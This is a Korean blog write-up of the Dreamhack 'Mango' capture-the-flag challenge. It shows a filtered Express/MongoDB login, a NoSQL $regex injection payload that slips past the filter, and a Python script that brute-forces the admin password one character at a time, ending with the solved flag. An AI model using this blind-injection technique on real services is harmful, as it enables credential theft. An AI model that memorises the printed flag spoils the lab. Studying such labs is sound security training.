Web Hacking 과제_1(Dreamhack_Mango)

2024. 11. 15. 16:49hacking : p_study/Dreamhack

Mango | 워게임 | Dreamhack | 워게임 | Dreamhack

 

Mango

Description 이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다. 플래그는 admin 계정의 비밀번호 입니다. 플래그의 형식은 DH{...} 입니다. {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} Reference Serv

dreamhack.io

 

첫번째 문제를 풀어보자.

첫번째 문제는 데이터베이스에 저장된 플래그를 획득하는 문제이다.

플래그는 admin 계정의 비밀번호라고 한다.

 

 

서버를 생성해보자.

 

 

서버 생성 후 들어와보니 이런식으로 구성되어있다.

파라미터 형식으로 입력되어있는데 관련된 파일을 열어보겠다.

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

코드는 이와 같다.

데이터 베이스라고 했으니까, sql 데이터베이스 테이블 같은 것을 확인 할 수 있을 줄 알았는데,, 흠

 

 

참고할만한 내용을 발견하지 못했다.

힌트를 얻어보자.!

 

해당 문제는 NoSQL과 관련된 문제이다.

 

NoSQL이란 무엇인지 간단하게 알아보자! — All about IT

 

NoSQL이란 무엇인지 간단하게 알아보자!

1) NoSQL (1) NoSQL이란 Not Only SQL 혹은 Non-Relational Operational DataBase의 약자로 비관계형 데이터베이스를 지칭한다. 기존의 RDBMS와 같은 관계형 데이터 모델을 지양하며 대량의 분산된 비정형 데이터를

shuu.tistory.com

 

 

우선 , NoSQL은 SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰 특징이자 차이점이다.

NoSQL 데이터베이스는 단순 검색 및 추가 작업을 위한 매우 최적화된 저장 공간이다.

 

MangoDB는 key-value의 쌍을 가지는 JSON objects 형태인 도큐먼트를 저장한다.

예를 들어 number가 30보다 작은 데이터를 찾기 위해서 RDBMS에서는 select * from inventory where number>30; 이라는 sql 쿼리를 사용한다.

MangoDB에서는 db.inventory.find({number:{&lt:30}}) 와 같은 쿼리를 사용한다.

 

 

아까 처음에 파라미터로 보내는 url형식인걸 보고 한번 넣어볼 걸 생각도 못했는데, 위에 연결해서 입력하니 위와 같이 떴다.

 

 

guest자리에 admin을 넣었더니 filter가 되어있는 것을 확인할 수 있다.

 

위 코드를 확인해보니, 필터링 문자열은 다음과 같았다. 'admin', 'dh', 'admi' 

클라이언트 요청 값에서 해당 문자열들을 필터링 하고, uid와 upw를 충족시키는 user를 조회한다.

 

MongoDB 쿼리 사용 시에는 정규표현식들을 사용할 수 있기 때문에 이를 이용하여 admin 계정을 조회해보자.

계정은 admin으로 5글자 이며, 패스워드는 DH{~} 라는 형태이다.

정확한 패스워드 길이를 알아야 한 글자씩 맞춰나갈 수 있기 때문에 차례대로 확인해보자.

페이로드는 다음과 같다.

 

/login?uid[$regex]=.{5}&upw[$regex]=.{?}

 

아래 힌트를 통해 패스워드의 길이는 36글자임을 알 수 있다.

32글자의 알파벳+숫자라고 쓰여있고, 여기에 DH{}가 붙으니 36글자이다.

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

 

 

그럼 블라인드 인젝션 하듯이 한글자씩 맞춰보기위해 파이썬 코드를 이용해보자.

 

 

코드를 작성할 때 다음을 참고한다.

 

1. 플래그는 DH{32글자의 영문자/숫자 조합} 형태이다.

2. 32개의 문자 조합 중에서 첫번째 문자를 무작위 대입하고, 나머지 문자는 정규표현식 길이로 조회한다.

   예) .{2}{'1번째문자'.{32-1}

3. response 응답 값이 'admin'이 출력된다면 무작위 대입한 문자를 기억하여 다음 문자 조회에 활용한다.

   예) .{2}{'1번째문자'+'2번째문자'.{32-2}

4. 1번째 문자부터 32번째 문자까지 동일하게 무작위 대입을 시도하고, 마지막으로 기억한 문자열을 출력한다.

 

import requests
import string

list=['0','1','2','3','4','5','6','7','8','9']+list(string.ascii_lowercase)+list(string.ascii_uppercase);

url="http://host1.dreamhack.games:20847/login?uid[$regex]=.{5}&upw[$regex]=";

passwd=".{2}{"

for i in range(32):
    for j in range(len(list)): 
        response=requests.get(url+passwd+list[j]+".{"+str(32-i)+"}")

        if 'admin' in response.text:
            passwd+=list[j]
            break;

print(passwd+"}")

 

해당 코드를 실행하면 기억한 문자열이 다음과 같이 출력된다.

 

DH{89e50fa6fafe2604e33c0ba05843d3df}

 

 

NoSQL에 관해 학습해볼 수 있는 좋은 기회였다.

 

 

 

[ 참고한 자료 ]

 

[dreamhack] Mango 문제풀이

 

[dreamhack] Mango 문제풀이

[WEB] Mango 문제풀이 NoSQL은 SQL을 사용해 데이터를 조회/추가/삭제하는 관계형 데이터베이스(RDBMS)와 달리 SQL을 사용하지 않으며, 이에 따라 RDBMS와는 달리 복잡하지 않은 데이터를 다루는 것이 큰

mokpo.tistory.com